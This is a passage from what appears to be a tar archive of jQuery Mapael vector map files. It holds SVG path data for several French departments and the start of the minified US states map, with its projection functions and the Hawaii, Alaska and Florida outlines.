"department-21":"m 430.26,202.39 c -2.98,-0.36 -2.28,3.5 -2.89,4.09 -3.52,0.85 -7.72,-0.28 -10.91,1.13 0.12,1.91 0.16,3.7 -1.78,4.39 -1.43,2.57 2.23,2.59 2.78,2.96 0.78,2.82 0.56,7.26 -3.23,7.04 -0.11,2.16 1.99,3.62 -1,3.9 0.72,2.94 -2.41,6.52 -3.86,9.44 -2.44,2.06 0.03,6.34 -3.4,7.86 -0.01,1.52 1.54,3.57 2.08,4.44 2.08,-1.74 -0.71,3.97 0.05,5.35 0.76,2.06 4.84,0.48 4.74,3.88 -1.32,3.42 1.69,6.38 5.01,6.9 1.3,1.42 0.65,2.78 2.51,1.23 2.03,0.22 0.19,2.75 2.63,2.77 2.7,1.39 5.44,1.37 6.15,4.62 1.34,1.99 4.7,1.98 4.57,4.24 2.88,-1.34 6.42,-1.22 9.16,-3.33 2.31,-0.8 6.07,-0.86 8.14,-1.17 2.91,2.58 6.21,-1.12 9.25,-0.89 2.24,-0.61 1.63,-2.43 0.75,-3.34 1.62,-2.89 6.07,-2.65 6.78,-6.47 1.41,-2.73 2.01,-5.54 2.73,-8.48 0.14,-1.92 1.96,-2.74 -0.25,-3.51 0.43,-2.24 1.54,-5.31 -1.69,-5.06 -0.44,-1.89 -1.3,-4.9 -2.86,-4.55 0.22,-3.37 5.14,-1.91 4.96,-5.91 0.76,-2.96 -2.67,-7.08 -4.51,-2.82 -2.22,-0.25 -3.54,-1.43 -5.3,0.74 -2.39,1.02 -0.78,-3.81 -3.53,-3.94 -1.77,-1.18 -0.62,-3.19 -2.39,-0.9 -3.64,2.12 -4.58,-4.93 -7.28,-2.21 -2.89,-0.45 0.78,-4.91 -3.01,-5.07 0.9,-1.64 5.08,-3.23 1.85,-5.04 -1.35,-1.96 -2.46,-6.59 -4.91,-3.77 -2.57,-0.44 2.15,-3.15 -0.94,-3.86 -1.96,-0.39 -2.06,-0.68 -1.78,-2.38 -2.58,-1.59 -5.78,-1.16 -8.59,-2.28 l 0,0 z","department-25":"m 524.75,232.72 c 0.6,3.47 -5.06,1.11 -4.41,4.65 -1.59,0.18 -4.21,0.28 -5.1,0.07 -2.83,-2.93 -7.31,0.27 -8.34,3.45 -1.29,2.51 -4.23,1.18 -5.23,3.59 -1.44,0.48 -2.41,0.42 -2.71,1.78 -2.17,0.44 -3.6,3.16 -6.39,2.02 -3.22,-0.12 -5.72,2.6 -8.74,3.57 -3.03,0.32 -3.9,3.34 -1.23,5.03 3.1,1.51 4.18,4.87 1.57,7.47 0.1,1.6 -1.31,3.03 -1.29,4.53 1.26,1.41 2.75,-3.16 3.11,0.11 0.9,2.49 4.55,-0.29 4.63,2.13 3.8,0.81 1.81,4.9 4.19,7.22 0.91,2.91 5.17,1.46 6.56,4.25 3.53,2.93 0.14,6.33 -2.84,7.54 -1.4,1.89 0.42,3.62 -1.39,5.19 -0.75,2.81 3.69,5.73 3.76,1.72 2.39,-2.03 4.37,-4.58 7.12,-6.18 2.26,-1.76 5.45,-2.91 6.57,-5.72 -0.74,-2.93 1.48,-6 -0.08,-9.15 0.11,-4.19 6.86,-3.29 9.42,-5.9 2.72,-1.98 2.28,-6.41 5.92,-7.6 2.76,-2.22 4.53,-5.44 7.39,-7.56 -0.61,-3.67 3.46,-4.22 4.78,-6.73 -0.15,-3.82 -4.97,0.07 -7.07,-1.46 0.7,-1.9 3.21,-4.13 1.45,-6.71 -0.76,-1.48 -0.67,-2.19 0.61,-2.92 -0.66,-3.47 -5.22,-3.74 -7.78,-2.34 -1.29,-1.12 -3.19,-0.98 -4.5,-2.06 z","department-2B":"m 591.47,517.82 c -3.8,0.59 0.96,5.58 -2.34,7.11 0.41,2.37 -1.56,4.36 0.27,6.51 0.91,2.65 0.16,5.25 -1.21,7.52 -1.7,1.4 -2.28,-3.59 -4.88,-2.82 -2.72,-0.68 -5.78,0.73 -6.51,3.55 -0.96,3.57 -5.53,1.85 -7.86,3.52 -1.89,1.06 -3.87,1.71 -4.61,3.96 -1.27,0.02 -3.62,-0.97 -3.17,1.52 -0.83,1.46 -4.01,3 -1.97,4.89 -0.74,1.76 -0.34,3.49 -2.71,3.49 -0.21,1.44 -2.22,2.88 0.58,2.71 2.53,1.11 5.12,2.12 7.69,3.24 1.52,0.72 3.8,-1.59 3.24,1.35 1.14,3.16 4.05,4.22 6.73,6.16 3.36,0.28 1.41,5.5 4.55,6.47 1.71,1.96 0.79,6.36 4.83,5.7 0.18,2.3 0.59,4.8 0.39,7.09 3.14,0.81 -1.89,5.25 2.18,4.96 1.78,0.52 2.82,0.98 4.16,-0.94 3.62,-1.36 0.49,-5.59 2.73,-7.46 1.3,-1.69 2.64,-3.75 1.77,-5.45 1.89,-0.05 4.02,-2.43 3.98,-4.66 -3.67,0.56 1.98,-2.55 0.4,-4.61 0.47,-4.5 -0.6,-8.88 -1.01,-13.3 -0.14,-3.75 0.34,-7.67 -0.54,-11.31 -2.55,0.11 -3.67,-4.24 -3.35,-6.45 -0.43,-3.66 1.56,-7.1 1.67,-10.65 -0.63,-3.67 -1.07,-7.33 -1.55,-11 -0.76,-1.12 -2.26,-1.12 -3.47,-1.1 z","department-2A":"m 553.92,559.49 c -0.76,0.55 -0.1,3.85 1.13,1.96 1.53,-0.6 3.16,1.13 1.04,1.7 0.18,1.06 4.56,1.95 3.28,3.75 -1.7,0.83 -4.95,1.13 -5.71,2.43 1.47,0.55 1.4,3.03 1,3.92 1.78,0.17 -1.16,0.99 0.63,1.63 0.63,1.3 2.89,1.78 3.93,2.6 2.01,-0.69 1.72,2.93 3.31,3.71 -1.37,1.54 -4.97,1.78 -3.83,4.58 -1,1.17 -4.84,0.3 -2.28,2.46 0.58,1.07 -0.7,3.38 1.57,2.3 2.41,0.81 4.08,-2.02 6.12,-1.18 1.97,1.46 -0.22,3.37 0.14,5 -2.75,0 1.8,1.85 -1.02,2.54 -3.01,0.03 -0.83,3.83 -3.9,3.99 -1.68,0.23 1.57,0.7 1.54,1.65 1.76,-0.59 3.68,-1.62 3.39,1.11 1.89,0.2 4.59,0.62 6.1,1.72 -1.54,1.28 -2.78,3.54 -5.39,3.37 -1.08,2.57 -0.44,5.65 2.26,6.65 0.47,1.48 3.07,1.49 4.07,2.79 2.06,-0.18 4.37,2.72 5.98,1.13 0.61,-0.03 -0.33,2.68 1.6,1.9 1.78,0.68 -1.94,3.73 1.39,3.43 1.92,2.48 5.07,2.16 5.35,-1.31 -0.28,-1.01 -2.21,1.4 -1.26,-0.4 -1.13,-2.4 4.15,-2.95 2.21,-5.91 -0.37,-2.45 4.29,-3.07 3.59,-5.68 -1.11,-1.47 -3.9,2.07 -2.85,-0.95 0.15,-2.4 3.01,0.56 2.82,-1.99 2.59,-0.18 0.07,-3.36 2.35,-4.13 0.15,-3.28 0.23,-6.85 -0.14,-10.22 -1.57,-1.53 -3.07,3.01 -4.83,0.98 -2.75,0.63 -3.37,-1.87 -1.99,-3.78 0.22,-1.35 -2.56,-0.55 -1.08,-2.17 -0.85,-2.32 1.32,-7.41 -2.67,-6.39 -2.45,-0.98 -0.65,-4.44 -2.73,-5.65 -2.85,-1.24 -1.36,-6.19 -4.82,-6.53 -1.64,-1.96 -4.77,-2 -5.5,-4.65 -1.21,-1.02 -0.51,-3.66 -2.85,-2.55 -2.75,-0.46 -5.3,-1.82 -7.74,-2.91 -1.28,-0.57 -2.84,-0.72 -4.21,-0.9 z","department-66":"m 350.33,540.74 c -2.96,0.38 -4.31,2.8 -5.6,5.05 -3.53,0.71 -7.2,-0.41 -10.77,-0.57 -2.35,1.71 -6.82,-1.75 -7.77,1.56 0.2,2.13 1.85,4.41 0.81,6.44 -1.56,1.89 -4.34,1.3 -5.68,3.47 -1.35,1.08 -2.18,1.99 -3.65,0.52 -2.39,0.04 -5.76,-0.02 -7.25,1.69 -0.99,2.71 -4.23,1.36 -5.45,3.77 -3.15,-0.36 -6.54,2.28 -5.14,5.7 2.43,0.62 5.15,0.58 6.86,2.76 2.19,0.36 3.92,1.1 3.79,3.75 0.25,2.56 3.21,3.71 5.32,2.52 1.96,-1.04 2.2,-4.45 4.97,-3.96 2.58,-0.15 5.03,-1.38 7.33,0.7 1.62,1.14 4.07,1.03 4.94,3.03 1.26,1.86 4.32,3.14 5.35,0.56 1.73,0.75 6.82,2.34 4.14,-1.14 0.71,-2.52 4.05,-2.95 6.3,-2.62 1.56,-1.63 3.48,-3.18 5.81,-2.8 0.99,-2.12 3.1,-0.12 4.88,-0.88 1.63,1.07 2.93,3.67 5.54,2.51 3.2,-0.39 -1.16,-3.71 -1.44,-5.38 -2.92,-1.29 -2.81,-4.63 -3.06,-7.37 0.78,-2.2 -2.64,-2.22 -1.43,-4.12 2.29,1.97 1.16,-2.93 1.55,-4.24 0.36,-2.22 -0.89,-3.89 -3.17,-3.82 -1.26,-1.48 0.41,-4.01 -2.35,-4.33 -1.89,-0.44 -3.32,-1.87 -4.85,-2.81 z","department-01":"m 445.43,302.59 c -1.44,3.02 -1.75,6.16 -3.18,9.18 -0.78,3.16 -1.85,6.34 -2.91,9.5 -0.74,1.88 -1.31,3.79 -0.09,5.37 -0.73,2.05 -2.97,3.67 -1.95,5.9 -1.67,2.26 0.87,5.73 -1.18,7.83 1.88,0.01 3.46,1.61 3.99,2.62 2.16,-1.53 3.89,1.88 4.07,3.41 0.92,1.26 -0.03,3.77 2.46,2.77 2.89,0.46 5.98,-0.89 8.76,0.39 1.35,2.24 3.89,2.93 5.42,0.31 1.18,-1.7 1.66,-5.65 4.09,-5.27 2.02,1.24 3.75,2.88 3.08,4.98 1.95,2.32 3.67,4.97 5.93,6.73 1.33,1.23 0.17,0.8 -0.53,0.61 0.61,1.8 3.11,2.49 3.34,4.83 0.97,0.84 1.38,-1.89 2.87,-1.59 -0.3,-1.63 1.67,-2.68 0.77,-4.34 3.81,0.96 3.71,-3.34 3.75,-5.95 0.89,-3.44 1.98,-6.82 2.27,-10.31 -1.07,-2.3 -1.36,-4.85 -1.09,-7.47 0.3,-1.5 0.9,-3.58 2.27,-1.4 2.48,1.01 0.53,-3.51 3.59,-2.7 2.71,-0.13 3.55,-3.26 1.37,-4.78 1.32,-2.8 5.95,-1.73 6.82,-4.09 -1.66,-3.05 4.61,-7.07 -0.2,-9.19 -2.62,-2.47 -4.13,2.14 -6.1,3.38 -0.9,2.11 -2.5,3.05 -3.65,4.53 -1.99,2.56 -5.47,0.79 -8.11,1.25 0.84,-3.04 -2.73,-3.43 -3.76,-4.72 -2.02,1.65 -3.16,4.49 -6.19,4.68 -2.73,0.46 -1.81,-2.02 -1.56,-3.51 -1.42,0.56 -1.69,-0.36 -2.26,-1.49 -0.06,1.35 -0.96,2.99 -0.83,0.6 -1.4,-1.01 -1.59,-2.59 -1.58,-3.72 -1.32,-0.93 -3.93,-1.28 -2.29,-3.07 -1.76,-1.43 -5.48,-1.31 -5.42,-4.72 -2.13,-0.62 -4.08,0.9 -6.23,1.42 -1.93,-0.36 -3.28,-2.81 -5.2,-1.46 0.07,-0.1 -0.3,-0.68 -0.54,-0.51 z","department-39":"m 472.04,250.64 c -2.16,1.79 -1.36,5.28 -2.94,7.45 0.09,2.73 -2.31,4.73 -3.53,7.05 -3.03,-0.47 -5.35,3.74 -3.19,4.71 -2.06,0.47 -3.73,5.36 -0.52,4.7 1.33,0.76 0.69,4.17 3.48,3.21 1.68,-0.66 1.23,2.18 3.27,2.09 2.46,1.35 -0.2,2.67 -1.91,2.03 -2.06,-0.51 -4.46,1.94 -1.6,2.77 2.43,1.33 -1.33,3.03 1.08,4.08 0.89,2.1 1.19,3.82 2.13,6.05 -2.12,0.95 -0.43,3.73 -3.06,3.72 -1.86,2.41 0.74,4.14 2.3,5.69 -0.13,2.93 -6.18,0.76 -4.86,4.67 0.41,1.69 3.59,1.72 2.72,3.84 0.3,1.7 2.14,1.5 2.39,1.42 0.16,2.17 2.98,0.53 1.91,2.98 -0.9,3.13 3.87,1.82 4.85,0.12 1.46,-0.55 2.58,-4.59 4.24,-1.99 2.29,0.06 2.46,3.2 3.09,3.77 2.93,-0.04 7.08,0.91 8.5,-2.49 2.02,-1.97 3.8,-4.92 6.21,-7.02 2.27,-1.54 0.39,-4.74 2.54,-6.4 1.4,-1.49 3.11,-3.84 -0.06,-3.89 -2.06,-1.17 -3.31,-3.74 -0.87,-5.29 0.4,-1.53 -1.44,-3.09 0.76,-4.19 2.73,-1.36 6.13,-4.43 2.26,-6.76 -1.6,-2.02 -3.91,-2.65 -5.92,-3.04 -1.27,-2 -1.73,-3.98 -2.6,-5.89 -0.82,-0.25 1.22,-2.33 -1.1,-2.27 -1.84,-1.29 -4.2,-1.14 -5.91,-2.76 -0.62,-1.82 -0.09,-1.2 -1.26,-0.03 -2.05,2.08 -3.47,-2.98 -0.74,-2.02 0.76,-1.1 -0.4,-3.36 1.4,-4.52 2.37,-3.1 -2.64,-4.46 -3.59,-6.62 -0.37,-1.97 -2.06,-4.51 -3.97,-2.34 -2.56,0.88 -4.13,-1.12 -5.49,-2.82 z","department-68":"m 549.43,183.82 c -2.25,1 -2.94,3.73 -3.79,5.81 -0.9,2.15 -3.75,4.26 -2.11,6.74 -0.93,2.22 -2.92,4.25 -3.93,6.64 -2.43,1.18 -3.51,3.7 -3.19,6.38 0.13,1.69 -1.55,2.36 -0.44,3.95 0.77,2.64 -4.62,1.97 -2.6,4.52 2.13,1.91 5.37,1.9 7.52,3.96 0.67,1.81 1.6,4.32 0.06,6.09 -1.78,1.43 -0.08,4 1.85,2.88 1.83,0.98 2.47,3.66 3.32,5.16 -0.72,2.04 1.34,2.1 2.39,2.44 -0.32,1.38 -1.23,4 1.33,3.32 1.03,1.33 2.07,1.29 3.35,0.31 2.56,-0.08 5.85,0.35 7.17,-2.31 -0.73,-1.24 -0.96,-2.18 0.78,-1.43 2.66,0.8 0.35,-2.42 2.52,-2.38 0.82,-0.85 -1.99,-1.47 0.03,-2.05 1.88,-1.02 4.21,-2.78 2.05,-4.99 -1.7,-1.63 -3.7,-3.88 -1.43,-6.04 0.91,-2.16 -1.41,-4.57 0.56,-6.71 0.67,-2 0.44,-4 1.78,-5.83 -0.03,-2.09 3.45,-4.94 0.43,-6.95 -3.06,-1.46 0.88,-6.62 -2.19,-7 -1.65,-0.56 -1.53,-2.31 -3.25,-2.51 -0.17,-1.94 -0.33,-3.93 -2.69,-4.35 -2.09,-1.1 -4.78,-1.23 -5.71,-3.58 0.07,-2.15 -2.48,-1.52 -3.79,-2.06 z","department-90":"m 532.37,216.22 c -0.55,0.23 -0.49,0.97 -0.95,1.33 -0.62,0.8 -1.51,1.36 -1.95,2.3 -0.77,0.99 -0.8,2.48 -0.08,3.5 -0.03,0.67 0.48,1.24 0.41,1.93 -0.01,0.83 -0.07,1.76 0.62,2.36 0.29,0.29 0.48,0.66 0.1,0.97 -0.14,0.38 -0.57,0.43 -0.76,0.72 -0.05,0.5 0.53,0.78 0.56,1.29 0.18,0.47 0.52,0.85 0.75,1.28 0.26,0.15 0.87,0.53 0.4,0.81 -0.7,0.47 -0.05,1.72 0.76,1.5 0.78,0.02 1.57,-0.19 2.27,-0.46 0.8,0.18 1.42,0.82 1.45,1.64 0.04,0.86 1.41,0.54 1.43,1.42 0.01,0.47 0.26,1.11 -0.01,1.5 -0.5,0.35 -0.45,-0.64 -0.86,-0.74 -0.5,-0.2 -0.94,0.42 -0.64,0.85 0.2,0.34 -0.18,0.93 0.34,1.04 0.43,0.61 0.84,1.44 0.71,2.19 -0.36,0.5 0.42,0.64 0.75,0.45 0.83,-0.18 1.47,-0.8 2.26,-1.07 0.62,-0.6 -0.22,-1.42 -0.38,-2.05 -0.12,-0.36 -0.45,-1.06 0.17,-1.13 0.42,-0.08 0.81,-0.3 1.15,-0.48 0.96,0.2 1.82,0.91 2.86,0.71 1.1,-0.11 2.47,-0.62 2.45,-1.94 0.16,-1 -0.69,-1.62 -1.41,-2.13 -0.16,-0.46 -0.02,-1.09 -0.52,-1.4 -0.45,-0.55 -0.43,-1.71 -1.38,-1.73 -0.72,-0.12 -1.46,0.05 -1.95,0.59 -0.4,0.24 -0.3,-0.53 -0.6,-0.62 -0.31,-0.79 -0.34,-1.73 0.1,-2.47 0.16,-0.36 0.01,-1.1 0.63,-0.98 0.41,0.01 0.38,-0.37 0.4,-0.64 0.61,-1 -0.15,-2.14 -0.3,-3.13 0.23,-0.47 0.38,-1.05 -0.1,-1.44 -0.8,-1.1 -2.3,-1.18 -3.29,-2.06 -0.38,-0.36 -0.84,-0.58 -1.33,-0.6 -0.84,-0.67 -2.13,-0.38 -2.92,-1.15 -0.45,-0.63 -0.74,-1.4 -0.95,-2.13 -0.05,-0.04 -0.12,-0.05 -0.18,-0.04 z"}}}}),b});vendor/mapael/maps/usa_states.min.js000066600000166642151150443020013551 0ustar00!function(a){"object"==typeof exports?module.exports=a(require("jquery"),require("jquery-mapael")):"function"==typeof define&&define.amd?define(["jquery","mapael"],a):a(jQuery,jQuery.mapael)}(function(a,b){"use strict";return a.extend(!0,b,{maps:{usa_states:{width:959,height:593,latLngToGrid:function(a,b,c,d,e,f){var g,h,i,j,k,l,m,n=Math.PI,o=(c+d)/2;return g=(Math.sin(c/180*n)+Math.sin(d/180*n))/2,h=Math.sqrt(Math.cos(c/180*n))+2*g*Math.sin(c/180*n),i=f*Math.pow(h-2*g*Math.sin(o/180*n),.5)/g,j=g*(b-e),m=f*Math.pow(h-2*g*Math.sin(a/180*n),.5)/g,k=m*Math.sin(j/180*n),l=i-m*Math.cos(j/180*n),[k,l]},getCoords:function(a,b){var c,d,e,f,g,h,i,j,k={};return a>51?(g=15,h=105,i=-134,j=530,k=this.latLngToGrid(a,b,g,h,i,j),c=190,d=543,e=1,f=-1):b<-140?(g=0,h=26,i=-166,j=1280,k=this.latLngToGrid(a,b,g,h,i,j),c=115,d=723,e=1,f=-1):(c=-17,d=-22,e=10.05,f=6.26,k[0]=50+(1.9694462586094064-a*Math.PI/180)*Math.sin(.6010514667026994*(b+96)*Math.PI/180)*124.03149777329222,k[1]=55.23670416287796-200.38467697709729*(1.3236744353715044-(1.9694462586094064-a*Math.PI/180)*Math.cos(.6010514667026994*(b+96)*Math.PI/180))),{x:k[0]*e+c,y:k[1]*f+d}},elems:{HI:"m 233.08751,519.30948 1.93993,-3.55655 2.26326,-0.32332 0.32332,0.8083 -2.1016,3.07157 -2.42491,0 z m 10.18466,-3.71821 6.14313,2.58657 2.10159,-0.32332 1.61661,-3.87987 -0.64664,-3.39488 -4.2032,-0.48498 -4.04153,1.77827 -0.96996,3.71821 z m 30.71563,10.023 3.7182,5.49647 2.42492,-0.32332 1.13163,-0.48498 1.45495,1.29329 3.71821,-0.16166 0.96997,-1.45495 -2.90991,-1.77827 -1.93993,-3.71822 -2.1016,-3.55654 -5.8198,2.9099 -0.64664,1.77828 z m 20.20765,8.89137 1.29329,-1.93994 4.68817,0.96996 0.64665,-0.48498 6.14312,0.64664 -0.32332,1.2933 -2.58658,1.45494 -4.36485,-0.32332 -5.49648,-1.6166 z m 5.33482,5.17315 1.93994,3.87987 3.07155,-1.13163 0.32333,-1.61662 -1.61661,-2.10159 -3.71821,-0.32332 0,1.29329 z m 6.95143,-1.13163 2.26326,-2.9099 4.68817,2.42492 4.36485,1.13163 4.36486,2.74824 0,1.93993 -3.55654,1.77828 -4.84985,0.96996 -2.42491,-1.45495 -4.84984,-6.62811 z m 16.65111,15.51947 1.61661,-1.29328 3.39489,1.61662 7.59807,3.55654 3.39489,2.10159 1.6166,2.42492 1.93994,4.36485 4.04153,2.58658 -0.32332,1.2933 -3.87987,3.23322 -4.20319,1.45495 -1.45495,-0.64664 -3.07157,1.77826 -2.42491,3.23323 -2.26326,2.9099 -1.77828,-0.16166 -3.55654,-2.58658 -0.32332,-4.52651 0.64664,-2.42492 -1.61661,-5.65814 -2.1016,-1.77828 -0.16166,-2.58658 2.26326,-0.96996 2.1016,-3.07156 0.48498,-0.96997 -1.61661,-1.77828 -0.32332,-2.1016 z",AK:"m 158.07671,453.67502 -0.32332,85.35713 1.6166,0.96996 3.07157,0.16166 1.45494,-1.13162 2.58658,0 0.16167,2.9099 6.95143,6.78977 0.48499,2.58658 3.39488,-1.93994 0.64665,-0.16166 0.32332,-3.07156 1.45494,-1.61661 1.13164,-0.16166 1.93993,-1.45496 3.07156,2.1016 0.64665,2.90991 1.93993,1.13162 1.13163,2.42492 3.87988,1.77827 3.39488,5.98147 2.74823,3.87986 2.26326,2.74825 1.45496,3.7182 5.01149,1.77828 5.17317,2.10159 0.96996,4.36486 0.48498,3.07156 -0.96996,3.39489 -1.77828,2.26325 -1.61661,-0.8083 -1.45495,-3.07157 -2.74824,-1.45494 -1.77827,-1.13164 -0.80831,0.80831 1.45495,2.74825 0.16166,3.7182 -1.13163,0.48498 -1.93993,-1.93993 -2.10159,-1.29329 0.48498,1.61661 1.29328,1.77828 -0.8083,0.8083 c 0,0 -0.8083,-0.32332 -1.29328,-0.96997 -0.485,-0.64664 -2.1016,-3.39488 -2.1016,-3.39488 l -0.96997,-2.26326 c 0,0 -0.32332,1.29329 -0.96997,0.96996 -0.64665,-0.32332 -1.29329,-1.45494 -1.29329,-1.45494 l 1.77827,-1.93994 -1.45495,-1.45495 0,-5.0115 -0.8083,0 -0.8083,3.39488 -1.13164,0.485 -0.96996,-3.71822 -0.64665,-3.71821 -0.80831,-0.48498 0.32333,5.65815 0,1.13162 -1.45496,-1.29328 -3.55654,-5.98147 -2.1016,-0.48498 -0.64664,-3.71821 -1.61661,-2.9099 -1.61662,-1.13164 0,-2.26325 2.1016,-1.29329 -0.48498,-0.32332 -2.58658,0.64664 -3.39489,-2.42491 -2.58658,-2.90991 -4.84983,-2.58658 -4.04154,-2.58658 1.2933,-3.23322 0,-1.61661 -1.77828,1.61661 -2.9099,1.13163 -3.71821,-1.13163 -5.65815,-2.42491 -5.49647,0 -0.64664,0.48498 -6.46645,-3.87988 -2.1016,-0.32332 -2.74824,-5.8198 -3.55655,0.32332 -3.55655,1.45495 0.48499,4.52652 1.13162,-2.9099 0.96998,0.32332 -1.45496,4.36485 3.23322,-2.74824 0.64665,1.61661 -3.87987,4.36485 -1.29329,-0.32332 -0.48498,-1.93994 -1.29329,-0.8083 -1.29329,1.13163 -2.74824,-1.77827 -3.07157,2.1016 -1.77826,2.10159 -3.39489,2.1016 -4.68818,-0.16167 -0.48498,-2.10159 3.7182,-0.64665 0,-1.29328 -2.26326,-0.64666 0.96998,-2.42491 2.26325,-3.87987 0,-1.77827 0.16166,-0.80831 4.36486,-2.26326 0.96996,1.29329 2.74825,0 -1.29329,-2.58657 -3.71822,-0.32333 -5.01149,2.74824 -2.42492,3.39488 -1.77827,2.58659 -1.13163,2.26326 -4.20319,1.45494 -3.07157,2.58658 -0.323321,1.61662 2.263257,0.96997 0.808313,2.10158 -2.748249,3.23323 -6.466439,4.2032 -7.759747,4.20319 -2.101597,1.13162 -5.334818,1.13164 -5.334826,2.26325 1.778275,1.29329 -1.454954,1.45495 -0.484982,1.13163 -2.748238,-0.96997 -3.23322,0.16166 -0.808312,2.26326 -0.969963,0 0.323321,-2.42492 -3.556551,1.2933 -2.909899,0.96996 -3.394886,-1.29329 -2.909901,1.93993 -3.233224,0 -2.101597,1.2933 -1.616612,0.8083 -2.101595,-0.32332 -2.58658,-1.13163 -2.263257,0.64665 -0.969967,0.96996 -1.616613,-1.13162 0,-1.93994 3.071564,-1.29329 6.304787,0.64665 4.364853,-1.61662 2.101596,-2.10159 2.909902,-0.64665 1.778273,-0.80831 2.748241,0.16166 1.616612,1.2933 0.969963,-0.32332 2.263257,-2.74824 3.07157,-0.96998 3.39488,-0.64664 1.293294,-0.32332 0.646642,0.48498 0.808312,0 1.293284,-3.71821 4.041533,-1.45494 1.939936,-3.71821 2.263259,-4.52652 1.616615,-1.45495 0.323321,-2.58658 -1.616615,1.29329 -3.394893,0.64665 -0.646642,-2.42492 -1.293284,-0.32332 -0.969973,0.96996 -0.16166,2.90991 -1.454955,-0.16167 -1.454944,-5.8198 -1.293294,1.29328 -1.131624,-0.48498 -0.32332,-1.93993 -4.041533,0.16166 -2.101596,1.13163 -2.586578,-0.32332 1.454944,-1.45495 0.484981,-2.58658 -0.646641,-1.93994 1.454954,-0.96996 1.293284,-0.16166 -0.646642,-1.77828 0,-4.36485 -0.969963,-0.96997 -0.808312,1.45495 -6.143123,0 -1.454951,-1.29329 -0.646645,-3.87986 -2.101596,-3.55656 0,-0.96996 2.101596,-0.80831 0.161661,-2.1016 1.131628,-1.13162 -0.808305,-0.48498 -1.29329,0.48498 -1.131628,-2.74824 0.969967,-5.01151 4.526514,-3.23321 2.586575,-1.61662 1.939936,-3.7182 2.748249,-1.2933 2.586578,1.13164 0.323321,2.42492 2.424917,-0.32334 3.23322,-2.42491 1.616615,0.64665 0.969962,0.64664 1.616615,0 2.263259,-1.29329 0.808313,-4.36486 c 0,0 0.323321,-2.90989 0.969963,-3.39488 0.646642,-0.48498 0.969963,-0.96996 0.969963,-0.96996 l -1.131623,-1.93994 -2.58658,0.80831 -3.23323,0.8083 -1.939936,-0.48498 -3.556541,-1.77828 -5.011495,-0.16166 -3.556551,-3.7182 0.484981,-3.87987 0.646652,-2.42492 -2.101596,-1.77827 -1.939938,-3.71822 0.484983,-0.8083 6.789771,-0.48498 2.101596,0 0.969963,0.96996 0.646652,0 -0.16166,-1.61661 3.879862,-0.64664 2.586577,0.32332 1.454955,1.13163 -1.454955,2.1016 -0.484981,1.45494 2.748249,1.61662 5.011497,1.77827 1.778276,-0.96996 -2.263257,-4.36485 -0.969974,-3.23323 0.969974,-0.80831 -3.394891,-1.93993 -0.484983,-1.13164 0.484983,-1.6166 -0.808304,-3.87987 -2.909909,-4.68818 -2.424918,-4.20319 2.909909,-1.93994 3.233222,0 1.778276,0.64665 4.203192,-0.16166 3.718205,-3.55654 1.131633,-3.07157 3.718212,-2.42492 1.616604,0.96997 2.748239,-0.64665 3.718209,-2.1016 1.13164,-0.16166 0.96996,0.80832 4.52651,-0.16167 2.74824,-3.07156 1.13163,0 3.55655,2.42491 1.93993,2.1016 -0.48498,1.13163 0.64664,1.13163 1.61662,-1.61661 3.87987,0.32332 0.32332,3.7182 1.93994,1.45496 7.11309,0.64664 6.30479,4.20319 1.45494,-0.96996 5.17317,2.58658 2.10159,-0.64664 1.93994,-0.80832 4.84983,1.93994 4.36486,2.9099 z m -115.102797,28.93736 2.101596,5.33482 -0.161662,0.96997 -2.909902,-0.32333 -1.778273,-4.04153 -1.778273,-1.45494 -2.424919,0 -0.16166,-2.58659 1.778273,-2.42492 1.131629,2.42492 1.45495,1.45495 2.748241,0.64665 z m -2.58658,33.46387 3.718209,0.80831 3.718207,0.96996 0.808307,0.96998 -1.616612,3.7182 -3.071564,-0.16166 -3.394885,-3.55654 -0.161662,-2.74825 z m -20.692636,-14.06452 1.13163,2.58657 1.131628,1.61662 -1.131628,0.8083 -2.101597,-3.07156 0,-1.93993 0.969967,0 z m -13.7412027,73.07087 3.3948853,-2.26326 3.3948854,-0.96997 2.58658,0.32332 0.484983,1.61661 1.939935,0.48499 1.939934,-1.93993 -0.323322,-1.61661 2.748241,-0.64665 2.909902,2.58658 -1.131629,1.77827 -4.364852,1.13163 -2.748242,-0.48498 -3.718207,-1.13163 -4.3648533,1.45495 -1.616612,0.32332 -1.1316284,-0.64664 z m 48.9833487,-4.52651 1.616612,1.93993 2.101593,-1.61661 -1.454948,-1.2933 -2.263257,0.96998 z m 2.909902,3.07155 1.131624,-2.26325 2.101597,0.32332 -0.808303,1.93993 -2.424918,0 z m 23.602535,-1.93993 1.454954,1.77827 0.969974,-1.13162 -0.808313,-1.93994 -1.616615,1.29329 z m 8.72971,-12.44791 1.131633,5.8198 2.909899,0.80831 5.011495,-2.90991 4.364853,-2.58658 -1.6166,-2.42491 0.48498,-2.42492 -2.1016,1.29329 -2.909898,-0.80831 1.616605,-1.13162 1.939933,0.8083 3.87987,-1.77828 0.48499,-1.45494 -2.42492,-0.80831 0.8083,-1.93994 -2.74824,1.93994 -4.688172,3.55655 -4.849834,2.9099 -1.293294,1.13163 z m 42.35524,-19.88433 2.42492,-1.45495 -0.96997,-1.77828 -1.77827,0.96997 0.32332,2.26326 z",FL:"m 759.8167,439.1428 2.26566,7.3186 3.7297,9.74226 5.33479,9.3763 3.71819,6.30476 4.84982,5.49646 4.04151,3.71819 1.6166,2.90989 -1.13162,1.29328 -0.8083,1.29328 2.90988,7.43639 2.90989,2.90988 2.58657,5.3348 3.55653,5.81978 4.52649,8.24468 1.29329,7.59804 0.48498,11.96288 0.64664,1.77826 -0.32332,3.39487 -2.42491,1.29329 0.32332,1.93992 -0.64664,1.93993 0.32332,2.4249 0.48498,1.93993 -2.74822,3.23321 -3.07155,1.45494 -3.87985,0.16166 -1.45495,1.61661 -2.4249,0.96996 -1.29329,-0.48498 -1.13162,-0.96996 -0.32332,-2.90989 -0.80831,-3.39487 -3.39487,-5.17314 -3.55653,-2.26324 -3.87985,-0.32332 -0.8083,1.29328 -3.07155,-4.36483 -0.64664,-3.55653 -2.58657,-4.04151 -1.77826,-1.13163 -1.61661,2.10159 -1.77826,-0.32332 -2.10159,-5.01148 -2.90989,-3.87985 -2.90989,-5.33479 -2.58656,-3.07155 -3.55653,-3.71819 2.10158,-2.42491 3.23321,-5.49646 -0.16166,-1.6166 -4.52649,-0.96996 -1.61661,0.64664 0.32333,0.64664 2.58656,0.96996 -1.45494,4.5265 -0.8083,0.48498 -1.77827,-4.04151 -1.29328,-4.84982 -0.32332,-2.74823 1.45494,-4.68815 0,-9.53797 -3.07155,-3.71819 -1.29328,-3.07155 -5.17314,-1.29328 -1.93992,-0.64664 -1.61661,-2.58657 -3.39487,-1.61661 